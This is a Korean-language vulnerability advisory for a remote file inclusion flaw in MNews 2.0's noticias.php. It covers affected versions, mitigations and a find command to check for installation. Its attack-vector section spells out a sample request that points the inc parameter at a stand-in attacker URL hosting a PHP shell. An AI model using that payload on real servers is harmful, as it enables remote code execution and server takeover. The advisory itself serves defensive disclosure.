🇰🇷 한글 설명
MNews 2.0 이전 버전의 noticias.php에서 inc 파라미터에 대한 입력 검증 부족으로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자가 악의적인 PHP 파일 URL을 inc 파라미터로 전달하면 서버에서 해당 코드가 실행되어 원격 코드 실행이 가능합니다.
💡 쉬운 설명
MNews 뉴스 관리 시스템이 사용자가 입력한 파일 경로를 검증하지 않아 인터넷에서 악성 코드를 다운로드 받아 실행할 수 있습니다. 해커가 특수한 웹 주소를 만들어 보내면 서버가 그것을 실행해버리는 문제입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in noticias.php in MNews 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the inc parameter.
📍 영향받는 시스템
MNews 2.0 및 이전 모든 버전
⚔️ 공격 벡터
GET/POST 요청으로 noticias.php?inc=http://attacker.com/shell.php 형태의 원격 PHP 파일 URL을 전달하여 서버에서 임의 코드 실행
🛡️ 대응 방법
MNews를 최신 버전으로 업그레이드하거나 패치 적용, inc 파라미터에 대한 엄격한 입력 검증 및 화이트리스트 기반 파일 포함 구현
🔧 검증 코드
MNews 설치 위치와 파일 존재 여부를 확인하여 시스템에 취약한 버전이 설치되어 있는지 판단할 수 있습니다.
find / -name 'noticias.php' -o -name 'mnews*' 2>/dev/null | head -5